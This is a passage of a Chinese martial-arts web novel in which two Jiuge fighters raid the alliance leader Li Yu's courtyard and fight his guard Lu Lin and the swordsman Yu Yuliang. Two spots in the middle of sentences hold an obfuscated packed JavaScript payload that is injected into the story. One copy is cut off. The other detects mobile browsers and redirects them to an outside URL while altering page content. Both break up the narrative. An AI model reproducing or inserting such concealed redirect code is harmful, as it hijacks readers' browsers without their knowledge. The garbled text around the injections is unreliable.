而对陆临来说,只要自己的武功很好,只要武功每天都在进步,她才不管自己的样貌在别人眼中如何。 所以盟主府邸的这座小院每天的日常就是,陆临几乎一刻不歇地在院子中间练剑,李愈和权宁则有时在院里,有时进到屋中。最开始的时候,陆临对师父将她安排为李愈的护卫并不大高兴,她想要的是随师父一起对付外面的敌人。但到了后来,她发现这样其实也不错,她有了大把的时间用来练习剑法,这种纯粹的日子在平时是很难得的,她只要在练剑的同时注意李愈不离开她的视线、不离开这座小院就行。 至于之前李愈成功溜出盟主府邸来到仲邑江边上和雨馀凉相遇,则是多亏了权宁的帮助。李愈收买了权宁,权宁小孩心性,没有意识到这个时期特殊,李愈让他帮忙他就帮了,他还帮得很开心,心里觉得很刺激,于是权宁找了个由头将陆临暂时支离了小院,事后李愈被陆临找到带回盟主府邸,当天晚上李愈和权宁被陆临一阵好骂。 陆临不是不知轻重的人,她知道以自己的身份没有资格训斥她们水南的武林盟主,可那天陆临气疯了,因为发现李愈不见了后她先急疯了,她胸中气血激涌,什么都不管了,不管事后李愈是要罚她也好,告诉她师父她以下犯上也好,她要先让李愈知道他的行为有多危险,她要让他知道自己有多气愤。 一通发作后,出乎陆临意料的是,李愈没有辩解,没有跟她吵起来,也没有斥责她不应该这样跟他说话,而是唯唯向她道歉。 看着李愈又怂又冒着傻气的样子,陆临一肚子的气倏忽间尽皆消失了。 陆临突然想,若水南武林局势不像现在这般,若一切太平,李愈说不定会是个很好的盟主。 午饭后众人歇了一会,陆临要在院中练剑,又不放心李愈跟雨馀凉单独待在屋内,尽管屋里还有权宁,但说实话,以权宁的武功,他在不在那作用都不大。于是向盟主提议:二人到院中她看得到的地方说话。 李愈道:“我的护卫姑娘,这么热的天儿,你就算不为我着想,也要想想我们的客人,怎好让雨少侠去到屋外受热?” 陆临道:“我之前可每天都在外头练剑。”雨馀凉刚开始来找李愈时,陆临对雨馀凉不放心,便也一直同其他人一起待在屋子里。几天没练剑,陆临实在受不了了。 李愈苦笑道:“所以你每天都一头一身的汗。好姑娘,不是人人都能跟你一样。” 陆临道:“外面那么大一片阴凉处,又没让你们直接在太阳底下暴晒。” 李愈道:“没有直接被晒也还是热啊,屋里有冰鉴,屋外可没有。” 陆临低头沉默不语,李愈道:“陆姑娘,其实我有个办法,一会把我们这屋的窗户全部打开,这样就算你在院子里练剑,也能看到屋内的情形了。” 这倒的确不失为一个好办法。陆临看着李愈狡黠地对自己眨眼,她重重叹了口气,对李愈一拱手,道:“陆临遵命。” 于是大开窗门,窗外一丛绿油油的芭蕉便映入眼帘。一片阔朗敞亮下,李愈在临窗书桌上铺开宣纸作画,屋外陆临练剑,屋内李愈一边画画一边与雨馀凉说话。 雨馀凉道:“盟主平时都是一个人住在这么大的府邸?” 李愈道:“是,我的父母都已经去世了,只剩我一个人在世上。雨少侠,你别看现在陆姑娘和权宁小兄弟在我身边,这只是因为现在是特殊时期,往常时候,她们都是待在各自门派。” 雨馀凉道:“盟主……盟主难道没有别的亲人?” 李愈低头,抿嘴苦笑一下,道:“有是有,但他们跟我并不亲。”他盯着桌上的画,眼神有些发直,“有时候,他们甚至会变成我的敌人。” 雨馀凉犹豫半晌,还是小心翼翼道:“盟主,或许你应该尝试认识更多的人,与新的人建立联系。陆姑娘,还有权宁,在我看来都是不错的人。” 李愈嘴角微弯又是一笑,但这笑容仍是苦苦的,他道:“雨少侠,谢谢你的提议。” 二人说话间,李愈一直没有停下作画的动作,雨馀凉往宣纸上一看,只见一只锦鸡已经跃然纸上。 锦鸡腹部的那抹红色着实鲜艳亮眼,而这只锦鸡无论神气、动作都极富动态,简直像下一刻就要从画上走出来一般。 雨馀凉心想,这位李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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至于水西这些武林人士住进盟主府邸,之后打算做什么,雨馀凉身为一个局外人想到这都不由得咽了咽,他从斜后侧看向李愈。 现下这位水南武林盟主在漩涡中心。 他不过是个二十岁的年轻人。 在前方等待他的会是什么? 而对雨馀凉自己来说,自他从李愈那得知十一年前在仲邑江岸和水西发生了什么后,一团疑云就一直在他心中挥之不去。 根据李愈所叙述的来推测,雨馀凉很有可能本是水西人。 雨馀凉对自己的身份认识突然混乱了。他从小就认为自己是水南人,因为水南水西一直以来较为紧张的关系,雨馀凉是对水西怀有一定敌意的。随着他年龄的增长、思想的变化,这种敌意慢慢变淡,取而代之的是不关心,尽管如此,知道这一点还是让他的内心产生了不小的震动,随之而来的便是五味杂陈的心绪。 练了一个多时辰的剑后,陆临来到廊下稍作歇息。雨馀凉亦出了屋子朝陆临走来,还未靠近,陆临便警觉地望向雨馀凉,皱眉道:“干什么?” 虽然就仅有的几次接触来看,陆临为人稍显刻薄容易不耐烦,且对自己的态度不算友善,但雨馀凉不以为意,他对陆临还蛮有好感的,陆临对剑法的痴迷让雨馀凉想到了雨休。 雨馀凉诚恳道:“陆姑娘,重云门的青云、愁云、凌云这几套剑法十分繁复,连修习了几十年的本门弟子都难以练成,方才见姑娘一气使出,没有半点阻滞,真是好生了得。” 听雨馀凉夸赞自己的剑法,陆临的态度缓和了许多,她道:“你在谷州刀派那种地方,却识得这几套剑法,倒也不简单。” 她虽是夸赞雨馀凉,话里话外间却仍透露着对谷州刀派的看不起,雨馀凉对谷州刀派本就无甚好感,当下也不在意,正要继续说些什么,却见走廊尽头似乎突然多出了两道灰黑色的影子。 白晃晃的日光从人影背后照来,便看不清是谁。 陆临见雨馀凉怔愣看向自己背后,于是亦回头看去。须臾之间,那两道人影似乎来得近了些,陆临先是愣了一下,随后脸上神色突变,她看着人影大喊道:“盟主快走——” 106. 烟波(四) 雨馀凉看清来人后,心头突地一跳。 突然出现在这里的两人,竟是在龙虎寨外头向他求解药的一男一女,是水西聊氏九歌的湘君湘夫人。 他们为什么会出现在这里?难道聊氏暗中跟李氏有什么往来? 在听到陆临的高喊并看到她如临大敌的表情后,雨馀凉意识到情况不对了,非常不对。只听湘君何若枫道:“走?往哪走?”他说罢挥出手中长枪,枪尖直取陆临项上头颅。 雨馀凉来不及多想,拔出背上长刀从侧面刺向何若枫枪刃,想要赶在枪头刺中陆临之前将枪尖挑开。 忽闻得“铮铮”两声弦音,雨馀凉起先还想:谁在弹奏?紧接着便感到四肢力气急速流失,那弦音入脑后,雨馀凉只觉双臂双腿又酸又绵,不再听自己使唤,还未意识到发生了什么,便连人带刀摔倒在地。 眼见何若枫枪刃就要刺中陆临,雨馀凉担忧后者安危,顾不上自己,朝陆临叫道:“陆姑娘,当心!” 只听锵啷一声,陆临长剑出鞘,伴随当的一响,剑身击上枪杆,陆临身子向右侧过,借何若枫自身的力将他这一枪经由身旁往自己斜后方引。 何若枫是聊氏九歌的湘君,武功当然不容小觑。他轻蔑地“哈”了一声,在陆临背后迅速转身,枪随身转,回枪横扫,又是朝陆临的头颈扫去。陆临纵跃而起,一脚踏上横扫过来的枪杆,身子腾空,剑尖向下,对准何若枫头顶连出四剑,这四剑又狠又快,且一剑疾似一剑,何若枫连躲四剑,眼看陆临第五剑须臾将至,而这第五剑他已然不一定避得开,忙提枪上挑。 金属撞击声在廊上回荡,陆临借何若枫长枪荡开自己长剑的力在半空中翻了个身,落地向后滑开数尺。何若枫一手提枪站在原地,道:“不错啊,有点本事,小看你了。” 雨馀凉转头看向方才弦音传来的方向,只见湘夫人仇灵鸢怀抱一把凤尾琵琶缓步走近。 雨馀凉一下明白刚才导致自己瞬间使不上力的原因是什么了,以内力入乐声,乐音便成了兵器,杀人于无形,有时比刀枪剑戟等有形的兵器更可怕。 然而根据弹奏者输出内力种类的不同,使用乐器弹拨或吹奏出来的乐音效果也不同,有的如刀刃般锋利,能轻易伤人见血;而有的虽无法直接伤人,却能影响听到这乐音之人内力的运使,或是将内力消解,或是阻断内力在经脉中的运行,让人防不胜防。 方才自己正是着了这琵琶的道! 而雨馀凉现在都还手脚酸软提不起劲,他颤巍巍将手支在砖石地面上,强撑着要站起,正自用力时,忽感到一股向上的外力加持在了自己身上,雨馀凉转过头,见是陆临来到他身边搀着他手臂将他扶了起来。 听到外面动静,李愈和权宁早已从屋中走出查看,陆临见李愈现身,急得大声道:“权宁,快带盟主走,到前院去!”她又向四周大喊:“来人,来人!” 权宁一开始还没反应过来发生了什么,听见陆临语声无比迫切,又骤然看见何若枫、仇灵鸢两个陌生人站在院中,也多少明白些什么了,当下抽出背上佩剑,挡在李愈身前道:“盟主,属下护送你离开!” 仇灵鸢对陆临细声细气道:“别喊啦,附近的守卫已经听不到了。”陆临心下一沉,仇灵鸢又翻了个白眼,“大喊大叫真是吵死人了,跟杀猪一样。” 蝉鸣声中,一阵又闷又热的风忽尔吹过,将院中对峙众人的衣摆袖摆略微带起。 权宁忽然感到肩膀上传来触感,他侧头看去,却见是李愈将手放在了他的肩上。 权宁不知李愈何意,道:“盟主……”李愈道:“权宁,退下。”说着穿过权宁身侧来到了权宁之前。 陆临见状急道:“权宁,快带盟主走,愣着做什么?”一面说,一面搀着雨馀凉就要上前,不料仇灵鸢突然闪进她的视野,似要挡住陆临的去路。陆临心绪激动,对着仇灵鸢就刺出一剑,嘴里喝道:“滚开!” 仇灵鸢将琵琶往身前一横,琵琶颈就将陆临的剑格住了。仇灵鸢手中这把琵琶制作工艺不同于一般琵琶,如此这般与利剑相击,且陆临这一剑力道着实不算小,那琵琶也一点破损痕迹都无。 仇灵鸢垂眼看着陆临,道:“嘴巴放尊重些。”说着手上运劲,陆临感到一股力自手中长剑传来,随即被掀得往后退了数步。陆临站定后,只觉胸内气血翻涌,雨馀凉见陆临情况不对,道:“陆姑娘,你没事吧?”陆临闭眼摇头不语,雨馀凉见陆临闭着眼的表情十分痛苦,忙改为由自己反过来搀着陆临。 李愈远远看见陆临似乎受伤,眼神锐利地盯着何若枫道:“二位何人?这里是我李氏的后院,二位如此旁若无人地进来,是不是过于无礼了?” 强敌来袭,虽然不知道这一男一女的具体目的是什么,但陆临知道不会是好事。正常情况下来人要见武林盟主必须先由人通报,这两人不仅悄无声息进了来,还各携武器,且不由分说就动手,难道还会怀什么好意? 陆临一开始的打算是这里由自己拖住,如果运气好的话雨馀凉会来帮自己的忙,即使她对雨馀凉的武功没抱多大期望,但能拖多久是多久,只要足够让权宁带着李愈去往前院就行。 盟主府邸中水南自己人能力不逮,陆临也是清楚的,而且方才听仇灵鸢所言,后院周围的守卫大约已经被这强闯的一男一女全部处理掉了。前院都是水西九派的人,这群人虽然对水南虎视眈眈,但好歹还是尊重游戏规则江湖规矩的,且他们都是水西的名门大派,大派最看重本派在武林中的声望,给他们提供食宿、招待他们的水南武林盟主此刻有难,向他们求援,那些人不会坐视不管。水西九大派的武功各有精深玄妙之处,且这次各派来了众多高手,不愁收拾不下这对擅闯盟主府邸的贼人。 然而李愈不肯走,反要留在这里问讯来人。陆临被仇灵鸢内力所激一时说不出话来,也无法行动,心中只想:盟主,盟主,你糊涂啊。 何若枫看向李愈,道:“李愈,是吧?” 李愈天生不是倨傲自尊的性格,虽从小就被当做未来的武林盟主培养,但向来喜欢和周围的人打成一片,从未觉得自己比其他人身份高出一截。尤其在如今的形势下,他这个水南武林盟主的头衔虽不能说名存实亡——名存实亡的是水西武林盟主,却也不再如他的先祖在时那般能呼风唤雨、号令水南群雄了。 尽管如今是这么个情况,但就是那来到临蓟的水西九派来面见李愈时,当面仍会恭敬地称李愈一声“盟主”。李愈不知道何若枫是什么来头,但单就他如此对自己直呼大名,就显出了此人的十分无礼。 李愈眉尾一挑,道:“在下不才,正是区区。” 何若枫右手握枪,枪尖指地,左手搭上自己胸口,对李愈道:“李先生,我们来是想请你跟我们走一趟,到我们主人那做客。”即使确认了李愈的身份,他也不提“盟主”两字,因为在何若枫看来,对于一个就快被取缔的武林盟主,这些都没有必要。 李愈冷冷道:“我连你们主人是谁都不知道,为什么要跟你们走?” 何若枫脸上现出一抹冷笑,正要说话,雨馀凉的声音却在这时传来:“二位,我们之前见过的!”雨馀凉刚说完这句话,陆临就转头看向他。 雨馀凉知道陆临本就对自己不大信任,此刻知道自己与袭击他们的一男一女认识心中定生疑惑。他先不去管陆临看向自己的神情,眼神只在何若枫与仇灵鸢二人间往复移动,道:“龙虎寨外,二位曾问我要过解药。” 雨馀凉在这时提起解药一事当然不是为了叙旧情。 他受琵琶琴音的钳制手脚绵软、无法运功,只能在一旁眼睁睁地看着别人动手,但他看出了湘君湘夫人来此的目的是为了劫走李愈,至于为什么要劫走李愈,雨馀凉多少能够推测出原因。 水西对水南虎视眈眈,而由谁将水南收归水西,水西内部的意见并不一致。 这个时候,若能将水南武林盟主握在自己手上,很多事就会好办得多。 雨馀凉不管自己是水南人还是水西人,各势力的纷争他不懂也跟他无关,他现在能做的只是帮助对自己友善的人。 他不会让李愈被绑架挟持。 他提醒何若枫与仇灵鸢这件事,是希望九歌这二人看在当初他帮了他们的份上,也还自己一个人情。 论理,那解药是瑚庄之物,雨馀凉本不该在瑚庄之人不知情的情况下将解药擅自给人,但湘君湘夫人是鱼晚衣同僚,且雨馀凉想着救人一命总归没错,便将解药予了二人并告知他们服药后的运气之法。雨馀凉自己量度着这也算是救命之恩,他救了何若枫仇灵鸢两条命,那么这次让二人放过李愈也远可抵得过了。 谁知雨馀凉说完这句话后,何若枫与仇灵鸢不仅没有理会雨馀凉,连看都没看他一眼。 雨馀凉一下清楚地回忆起那日他给解药时两人对他的态度了。那个时候,倒不像是这两人来求他,反倒像他给出解药是理所应当的一般,不仅如此,二人到最后也没对他说一个“谢”字。 此刻何若枫仇灵鸢俱不理睬雨馀凉。也许他们是在思考自己说的话,雨馀凉这样告诉自己,耐着性子等待两人的回复。 过了一阵,何若枫终于开口了,只听他道:“所以呢?” 雨馀凉道:“所以二位可否看在我的面上,放过李盟主。” 谁知听完雨馀凉这话后,湘夫人仇灵鸢嗤笑一声,湘君何若枫也笑道:“那解药是我们自己要来的,跟你有什么关系?就算你不给我们,我们也自会想其他办法将解药拿到手。是你自己要给我们解药,我们可没求着你给,如今却想用这个来跟我们谈条件,真是可笑!”他说这话时,脸上带着嘲讽笑意,却依旧没看雨馀凉。 饶是雨馀凉性子和顺,听完湘君这番言语也不由得大是恼怒。人可以无耻到这种地步,他今日也算开了眼。雨馀凉道:“好!哈哈,好,好!原来我当初以为自己好心救人性命却是将解药喂了两条狗,早晓得如此,不如将解药扔进臭水沟里,也比进狗肚子里好千万倍!” 何若枫脸色一变,道:“你说什么?”仇灵鸢道:“和这种人一般见识什么?他要骂由他骂去,我不信我们身上还能少一块肉了。” 陆临在一旁听何若枫仇灵鸢与雨馀凉对话,听到雨馀凉让对面放过李愈,以及最后痛骂来犯二人,心里才敢确定双方不是一伙的,一颗心也稍稍放了下来。于是问雨馀凉道:“这两个贼人究竟是什么人?” 雨馀凉道:“聊氏九歌的湘君、湘夫人。” 雨馀凉此言一出,何若枫与仇灵鸢倒是吃了一惊,雨馀凉竟然知道他们的身份! 他们不知道的是,早在他们去到瑚庄的那日,寇传维设宴招待他们和玄同教的覃七霄、尹敕时,雨馀凉和姬花青就蹲在宴客厅房梁上。宴客厅中众人所说的话,雨馀凉和姬花青都听得一清二楚,雨馀凉那时便知道了他们的身份。 陆临沉声骂道:“杀千刀的聊以偲!” 何若枫与仇灵鸢对视一眼,何若枫耸了耸肩,仇灵鸢则皮笑肉不笑了一下,二人很快又都将头各自转回。 虽然惊讶于雨馀凉知道他们是谁,但他们倒不在意身份被陆临、李愈等人知道,反正他们将李愈绑走后李愈马上就会知道自己将为谁发挥作用。 李愈道:“所以这就是聊氏邀客的方式?擅自潜入别人私宅动粗?” 何若枫一笑,道:“本来是想好好邀请李先生的,奈何李先生的这些下人太不懂事,”他看向陆临和雨馀凉,“于是只好替李先生出手教训一下。只是没想到堂堂李氏的贴身护卫武功不过是这个水平,我和搭档一不留神,下手稍微重了些,还望李先生莫要见怪。” 李愈哼了一声,道:“他们不是下人。就算是我府中的下人,也轮不到你来管教。” 仇灵鸢对何若枫不耐烦道:“好了好了,有什么要说的,等我们把他带回去,你们多的是时间扯。这么大的太阳,我都快热死了,废什么话?” 何若枫对仇灵鸢柔声道:“听你的,我们即刻把事办完,即刻回去。”说毕展开长枪一步步向李愈走去。 权宁和李愈皆摆好架势,看着逐渐走近的何若枫,汗水从额角滑下。 根据方才所看到的情形来看,以何若枫的武功,就算他们现在想逃去前院也为时已晚了,只怕他们还未跑出五步就会被何若枫抓住,何况何若枫身后还有个以琵琶弦音就能将人制住的湘夫人。 现在做出逃跑的举动已是无用功,而对李愈来说,他从一开始就没打算跑。 他是李氏子孙,是水南的武林盟主,如何能狼狈地跑到水西各派人马面前,恳求他们救自己的命? 何况将陆临和雨馀凉留在这里,让他们冒着生命危险替自己殿后,李愈做不出这种事。 被仇灵鸢震开后平复了这么久气息,陆临好不容易将即刻就要冒出喉头的腥甜咽了下去,她眼角还带着一点强忍呕吐的泪花,却已径直朝何若枫冲了过去。 何若枫在陆临剑尖距自己两寸远处突然回过身来,长枪枪杆恰到好处地挡下了长剑。他在陆临剑尖差不多要刺中自己时才回头,不是因为这个时候才察觉陆临已来到了自己身后,而是因为十二万分的游刃有余,从从容容便挡下了陆临的剑。 陆临眼睫一闪便注意到了何若枫上抬的右腿,她又一次跃起,何若枫这记膝击便没能击中她。陆临横身在空中,也伸腿朝何若枫肩颈处扫去,何若枫左手抓住陆临脚踝,道:“还不死心?你不是我的对手,别费劲了……”他最后一个了字尚未完全吐出,陆临另一条腿以迅雷不及掩耳之势勾住他的后颈,何若枫一惊,只觉左手先前抓住的那条腿也挣了出来,陆临上半身下落,两手撑地,两腿却如剪刀般绞住何若枫的脖颈,何若枫被迫弯下腰去,霎时间便觉呼吸困难。 此举惹怒了何若枫。 何若枫脖子虽被缠住,手臂却仍能活动,他右手握住枪杆,径朝陆临躯干戳去。 陆临的剑在她双手撑地时就已落到旁边去了,见这一枪来势凶猛,陆临腰上使力,两腿缠着何若枫肩颈又将上半身立了起来以躲过这一枪。 不想陆临在在整个躯干立起的同时何若枫亦往后仰,陆临本在往上使力,如此一来便过了头,平衡被打破,加上她腰部用力时双腿那边不觉泄了力,便从何若枫身上摔了下来。 何若枫居高临下地俯视摔倒在地的陆临,一脚踩在陆临脖子上,陆临痛呼出声,然而她嘴也被踩住,只能发出“唔”的一声,双手忙抓住何若枫的长靴想将他的脚挪开,然而不管陆临怎么使劲,何若枫的脚都纹丝不动。 亲眼见到这一幕,李愈和权宁同时叫道:“陆姑娘!”“陆师姐!” 李愈当即就想上前,权宁却保留了一些理智,李愈代表着他们水南武林,他说什么都不能让李愈有事。 于是权宁拦住李愈,道:“盟主,不可!”他很想过去帮陆临,但雨馀凉受琵琶音的影响使不出武功,眼下这里能跟人打架且还没被制住的就只剩自己,而旁边就站着另一个贼人湘夫人,要是权宁在这个时候离开李愈去帮陆临,李愈的处境就很危险了。 权宁额头上豆大的汗珠一颗颗渗出来,不知该如何是好。 湘夫人仇灵鸢此时正好整以暇地看着她用蔻丹染就的指甲,就算方才何若枫被陆临双腿拑住她也没做出什么反应,也没上前帮忙的意思,似乎陆临方才的奋起反击在她眼中不过跟小孩的玩闹一般。 仇灵鸢垂着眼,羽扇一般的睫毛在她莹白如玉的脸上投下浅淡的鸦青色,她打了个哈欠,懒洋洋道:“饭前点心也品尝够了,吃正餐才是要紧。赶紧解决了,我们可不能像邢勘和鱼晚衣那两个废物一样拖延。” 听到“鱼晚衣”三个字,雨馀凉心脏犹如被重锤击中。 何若枫一边脚踩陆临,后者已经因为疼痛而闭紧了眼,一边道:“之前不过让你,你还真以为自己能跟我斗上一斗?”他提起长枪,枪尖对准陆临胸口。 李愈和权宁再也站不住,正要双双上前,何若枫忽听见背后有什么动静,于是把身子往旁边一侧,尽管如此,他手中的枪也没有停止往下戳的动作,只不过原本对准陆临胸口的枪头刺进了陆临的小腿。 伴随着陆临的大叫,何若枫一手把上雨馀凉正挺刀刺向他的那只手臂一带,雨馀凉便从何若枫身旁错开,趔趄着往前冲出数步。雨馀凉好不容易站住,即刻回身再次举刀削向何若枫。 何若枫皱眉看着雨馀凉,道:“地狱无门你硬要闯,那也怪不得别人了。”举枪扫向雨馀凉。 然而就在这时,雨馀凉膝盖突然一软,整个人跌扑在地,何若枫的枪便扫了个空。 何若枫先前把住雨馀凉手臂时,便感到雨馀凉刺过来的这一刀一丝内力也无,而后者向自己刺了两刀,刀尖都软绵绵不住晃动,更兼他举刀、奔跑的动作也有气无力,此刻在没人碰他的情况下又骤然摔倒,何若枫心下便已了然:仇灵鸢的琵琶音在雨馀凉身上的效果还没过,雨馀凉依旧无法运使内力。 雨馀凉体力不支,这一倒刚好软倒在一滩血泊中,这血不是别人的,正是从陆临腿上淌出的。雨馀凉费力地抬头,看见陆临一张脸已经变得惨白,嘴唇颤抖、微微张合着。 何若枫眼珠下移,看着倒在地上的雨馀凉陆临二人,道:“一个二个的烦死人了,鸢妹,我去抓姓李的,这两个就交给你。” 仇灵鸢依旧垂眸看着自己的指甲,只见她秀眉抬了抬,没说答应,也没说不答应。何若枫向李愈走去时,才腰肢款摆来到雨馀凉和陆临身边。 仇灵鸢也不多说什么,从袖中取出一把匕首,对雨馀凉笑道:“你先来,还是她先?” 见雨馀凉不说话,仇灵鸢道:“你不是一直说龙虎寨外是你救了我们性命么?那我就当你是我的救命恩人好啦。我先将你刺死,这样你也不用担惊受怕太久,你瞧,我对我的‘救命恩人’多好!” 仇灵鸢握住匕首朝雨馀凉心脏下刺,雨馀凉怎甘心就这样死了?他用满是鲜血的手拼命握住长刀刀柄,挡在仇灵鸢匕首前。 仇灵鸢匕首与雨馀凉长刀相碰,前者通过从匕首传来的触感,只觉雨馀凉的刀上没有任何力道。仇灵鸢只一只手握着匕首,雨馀凉却是双手持刀,饶是如此,雨馀凉的刀也在被仇灵鸢一点点地往下压,仇灵鸢笑道:“我本想给你个痛快,你却要反抗,这不是枉费我的一番苦心么?” 突然,仇灵鸢感到一股极大的力道自匕首传来,同时整条小臂像被一股劲风裹住,她一脸不可置信地看向雨馀凉,后者依旧躺在满是血的地砖上,但手腕翻转,长刀刀刃也随着他的动作变换角度。仇灵鸢眼看雨馀凉长刀就要削中自己,慌忙歪头避开这一刀,同时匕首斜挥,往雨馀凉肩头扎去。 雨馀凉手肘一撑便从地上坐了起来,仇灵鸢这一匕首便刺在了地上,啪的一声,砖块被匕首刺出一星碎痕,雨馀凉反手又挥出两刀,仇灵鸢忙一足蹬地向后撤出。但雨馀凉这刀刀刃很是修长,饶是仇灵鸢反应急速,雪白的上臂也被饱含内力的刀尖割了一道口子。 雨馀凉被琵琶弦音制住后,内心极是惶乱,湘君和湘夫人来者不善,二人又是九歌成员,武功高强。眼下这里只有陆临、李愈、权宁和自己,权宁的武功如何早在龙虎寨时雨馀凉就已心里有数,至于李愈这位水南武林盟主,雨馀凉倒还真不清楚他的水平。 对于成名武功高手,像谷州刀派这类武林门派中的弟子都是如数家珍。这些还在门派里修习的弟子热衷于给高手们排名,并常常因此爆发激烈的争论。 谷州刀派是水南门派,所以自然是讨论水南各武林高手居多,但有时也会说起水西、水东的武林人士,并且不止限于当时的人,近一两百年出现过的江湖名宿也会被提起。 “还是魔教教主裴秉延最厉害,连水西武林盟主、掌盟都得听他说了算。” “厉害么?反正最后赢的是岑微明。” 每当同门们争论不休时,雨馀凉都只是在一边静静地听着。 排名什么的,偶尔听听倒也有趣,但在雨馀凉内心深处,却对此很不以为意。 问题就在于,第一这个位置不是固定的,胜负成败,时时轮转,命运的脾性根本无法捉摸,它任性至极恣意妄为,前一刻还对某人颇为眷顾,下一刻便弃其而去,一次也不曾回顾。 况且一时的荣光有什么好得意的呢,世人不过是命运的玩物,不,他不知道别人如何,有人也算是命运的宠儿,无论做过多少伤害他人的事都能活得极好,比如谢岚星。雨馀凉嘲讽地想,觉得不能因为自己受到命运的嘲弄就觉得所有人都跟他一样。 如今想来,当初一天的习武过后听着谷州刀派同门争论谁是水南第一、谁是天下第一,随后回到有雨休在的家中的日子,竟也成了让人怀念的时光。 只是无论这些谷州刀派弟子讨论的是水南的武林人士,还是仲邑江、邑丰江两岸水西、水东的武林人士,都不曾提起过李愈。 自然,雨馀凉也从未听其他人说起过姬花青、呼延酬、覃七霄等玄同教之人,虽然通过近距离接触后雨馀凉认识到这些玄同教之人的武功远强于他们之前谈论的很多江湖人士,只是玄同教徒行踪隐秘又兼行事狠辣,他们这些谷州刀派弟子不过是见识有限、武功尚未学成的青涩后生,谁敢乱嚼那些妖魔舌根?除了当年在水西搅动风云实在让人无法忽略的裴秉延以及他的一些得力下属,世人对魔教所知有限,说的也就不多。 雨馀凉知道重云门门主郑宝卿剑法精绝、琥沙派掌门唐奕才武功涉猎博广,甚至连李愈的父亲李老盟主都听人说起过尤擅腿法,却从没听说李愈的武功如何。 而雨馀凉之前见李愈身形瘦削孱弱,也不像是练武之人会有的体型身材,兼之护卫陆临对李愈那样不放心的样子,多少猜到这位武林盟主于武艺一道并不精熟。 那么,眼下能上去跟湘君湘夫人斗上一斗的,就只有雨馀凉自己和陆临了。 奈何雨馀凉一上来就琵琶制住,眼看陆临不是湘君何若枫的对手,雨馀凉心急如焚,脑海中回想起了很多年前雨休跟他的对话。 那时他刚知道除刀剑等兵器外,乐音也可伤人,还可控制人体内内力的运行。 雨馀凉突然感到很可怕,对雨休道:“那以乐音制人伤人的,岂非就成了天下第一?乐音可以远远地传出去,刀剑却只有那么长,持刀剑的人还站得远远的,就先被乐音所控,根本就没有打赢的可能。” 听了他的话,雨休笑道:“凉儿所说,确实是以乐音为武器的优势,只不过乐音对敌人的效果也要取决于双方的内力修为。若对方的内力修为强于以乐音为武器之人的内力修为,那么乐音对前者的杀伤控制效果则会大打折扣,甚至可能根本没有效果。” 雨馀凉道:“那如果双方都差不多呢。” 雨休道:“不同人情况不同,有人受影响的时间短一些,有些人则会长一些,不过大体上都是由个人内力修为而定,内力修为越高,恢复得越快。” 雨馀凉想了一会,叹了口气道:“就算这样,凉儿还是觉得能驱使乐音之人更占优势,就算对方内力稍高,被影响的时间较短,但若驱使乐音之人不断奏出乐音,对手不断受乐音所制,就算能很快恢复,又有什么用呢?” 雨休哈哈笑了,道:“的确,若真是这样,那些弹琴吹箫的人就无人能敌了。不过呢,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15030372|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐音伤人的前提是奏乐者要先将内力融进乐音中,有了内力才能赋予乐音利刃的形态,控制这些利刃般的乐音发出的方向。而要让乐音有消解或阻滞人内力运行的作用,则需要消耗奏乐者大量内力,远多于奏出具破坏效果的乐音所需的内力,奏乐者受此限制,便不能频繁控制他人内力运行,就算是内力极其雄厚之人也做不到。不然武林中人人都去学吹拉弹唱,谁还舞刀弄枪呢?” 雨馀凉将雨休的话好好消化了一番,看着自己手中的木刀,觉得这木刀又不是那么没用了。 同时他也由这一点体悟到,世间万事,你占了其中一项好处,就会在其他方面有所失去,不可能样样好处都得。选好自己最擅长、最想得到的,在这方面好好发展,也就够了。 这是雨馀凉第一次对上以乐音为武器的敌人,他不知道自己的内力跟湘夫人比差了多少,也不知道要过多久自己的内力才能恢复,他唯一感到宽慰的一点是,湘夫人以琵琶音制住了他,暂时就不能再去对其他人做相同的事了。 于是雨馀凉一边不断尝试运气,一边注意着战局的变化,尤其是在与湘君湘夫人的谈判破裂后,他在内心向上天祈祷,自己能够快点恢复对内力的运使,而陆临的武功足以对付、至少是能拖住这两个人。 然而陆临却似乎并不是湘君的对手,何况从陆临对上湘君到现在,湘夫人都没出手帮湘君,雨馀凉手脚依旧如面条般使不上力,又过了一会,陆临被湘君摔到地上,雨馀凉眼见这一幕,心内大震,已然决定就算内力没有恢复也必须要上前做些什么了。 就在这电光石火之间,他突然感到,之前运气时经脉各处的酸胀堵塞感消失了。 能运气了! 从中招那时起,雨馀凉就一直在等待这一刻。 尽管如此,雨馀凉清楚自己的武功尚且不如陆临,而陆临对付湘君一个人都如此吃力,雨馀凉知道自己不能贸然上前正面与对方抗衡,否则也改变不了什么,他应该好好利用眼下的形势,既然湘君和湘夫人都以为他内力尚未恢复,何不让他们就这样以为下去? 于是他装作浑身仍软绵无力的样子,在湘君就要一枪戳向陆临时从后面进攻湘君引开其注意,又通过假装站立不稳摔倒来躲开湘君向自己扫来的一枪,最后在湘夫人以匕首刺向自己时继续表现得半点气力也无,就是为了找到一个湘君或湘夫人不备的时机,直接一刀将人送去阎王殿,就算不能解决掉一个,将人砍成重伤也会让形势往对他们有利的方向发展。 雨馀凉想出这一策略,其实是在无意间受到了姬花青的影响。之前姬花青刚显露出真容那会,在那座破庙中,姬花青也是装作身受重伤无法活动,然后等待对方松懈时一举反击。 雨馀凉和姬花青到底是一类人,姬花青的一些小阴招他学得很快,用起来如鱼得水。 仇灵鸢能被雨馀凉这么得手一下,倒也不能算她特别大意,受了阻滞内功运行的乐音影响,就算内力恢复,中途也是要经过一小段时间的,不可能前一刻还浑身无力,下一刻就能立即运使强劲内功。她只是没想到雨馀凉这么阴险,装模作样引她上钩。 